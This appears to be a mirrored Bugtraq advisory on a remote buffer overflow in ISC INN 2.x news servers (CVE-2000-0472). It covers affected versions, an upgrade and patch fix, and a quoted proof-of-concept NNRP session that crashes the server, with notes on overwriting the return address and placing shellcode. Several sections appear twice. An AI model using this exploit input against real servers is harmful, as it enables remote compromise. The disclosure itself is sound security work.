ISC innd 2.x Remote Buffer Overflow Vulnerability
BID:1316
Info
ISC innd 2.x Remote Buffer Overflow Vulnerability
| Bugtraq ID: | 1316 |
| Class: | Boundary Condition Error |
| CVE: |
CVE-2000-0472 |
| Remote: | Yes |
| Local: | Yes |
| Published: | Jun 06 2000 12:00AM |
| Updated: | Mar 19 2015 08:15AM |
| Credit: | Posted to BugTraq on June 6, 2000 by Michal Zalewski <[email protected]> |
| Vulnerable: |
ISC INN 2.2.2 ISC INN 2.2.1 ISC INN 2.2 ISC INN 2.1 ISC INN 2.0 |
| Not Vulnerable: |
ISC INN 1.7.2 ISC INN 1.7 ISC INN 1.5.1 ISC INN 1.5 ISC INN 1.4 unoff4 ISC INN 1.4 unoff3 ISC INN 1.4 sec2 ISC INN 1.4 sec |
Discussion
ISC innd 2.x Remote Buffer Overflow Vulnerability
innd 2.2.2 contains a remotely exploitable buffer overflow in code reached when a cancel request is sent to the "control" newsgroup, under the following condition: the cancel request contains a valid Message-ID but the From/Sender fields differ between the cancel request and the post referenced by the Message-ID. This attack only works against machines running INN with "verifycancels = true"
innd 2.2.2 contains a remotely exploitable buffer overflow in code reached when a cancel request is sent to the "control" newsgroup, under the following condition: the cancel request contains a valid Message-ID but the From/Sender fields differ between the cancel request and the post referenced by the Message-ID. This attack only works against machines running INN with "verifycancels = true"
Exploit / POC
ISC innd 2.x Remote Buffer Overflow Vulnerability
The following exploit description was posted to BugTraq on June 6, 2000 by Michal Zalewski <[email protected]>:
How to exploit it? It could be a problem for script kiddies, as Message-ID is strictly checked for non-printable characters etc. But hey, Message-ID can be used only as a padding, and then we can overwrite return address with From/Sender address of cancel post! This field is not verified in any fascist way. Shellcode? Can be placed anywhere, quite big portions of cancel post are lying in the accessible memory when overflow happens.
Sample input ("LONGBUFFER" = around 500-600 bytes of AAAs..., has to be the same every time):
-- input -
201 XXX InterNetNews NNRP server INN 2.2 23-Oct-1998 ready (posting ok)
mode reader
group pl.test
post
Message-ID: <none@LONGBUFFER>
From: <[email protected]>
Sender: <[email protected]>
Newsgroups: pl.test
testing
. <- single dot, comment to avoid mail transfer problems
group control
post
Message-ID: <[email protected]>
Approved: <[email protected]>From: <[email protected]>
Sender: <[email protected]>
Control: cancel <none@LONGBUFFER>
Subject: cmsg cancel <none@LONGBUFFER>
Newsgroups: control
Damn, cancel it.
. <- single dot
quit
-- EOF --
If innd/nnrp is running under debugger like strace, you'll see that child process responsible for request handling dies with SIGSEGV. Nice.
The following exploit description was posted to BugTraq on June 6, 2000 by Michal Zalewski <[email protected]>:
How to exploit it? It could be a problem for script kiddies, as Message-ID is strictly checked for non-printable characters etc. But hey, Message-ID can be used only as a padding, and then we can overwrite return address with From/Sender address of cancel post! This field is not verified in any fascist way. Shellcode? Can be placed anywhere, quite big portions of cancel post are lying in the accessible memory when overflow happens.
Sample input ("LONGBUFFER" = around 500-600 bytes of AAAs..., has to be the same every time):
-- input -
201 XXX InterNetNews NNRP server INN 2.2 23-Oct-1998 ready (posting ok)
mode reader
group pl.test
post
Message-ID: <none@LONGBUFFER>
From: <[email protected]>
Sender: <[email protected]>
Newsgroups: pl.test
testing
. <- single dot, comment to avoid mail transfer problems
group control
post
Message-ID: <[email protected]>
Approved: <[email protected]>From: <[email protected]>
Sender: <[email protected]>
Control: cancel <none@LONGBUFFER>
Subject: cmsg cancel <none@LONGBUFFER>
Newsgroups: control
Damn, cancel it.
. <- single dot
quit
-- EOF --
If innd/nnrp is running under debugger like strace, you'll see that child process responsible for request handling dies with SIGSEGV. Nice.
Solution / Fix
ISC innd 2.x Remote Buffer Overflow Vulnerability
Solution:
ISC has released the newest version of INN - 2.2.3 - which fixes this issue.
ISC INN 2.2.2
Solution:
ISC has released the newest version of INN - 2.2.3 - which fixes this issue.
ISC INN 2.2.2
-
ISC inn-2.2.3.tar.gz
MD5: 0c0f71d79cc2b4fbd5bad4a7f093f53f
ftp://ftp.isc.org/isc/inn/inn-2.2.3.tar.gz -
Russ Allbery inn222.patch
http://www.securityfocus.com/data/vulnerabilities/patches/inn222.patch
References
ISC innd 2.x Remote Buffer Overflow Vulnerability
References:
References: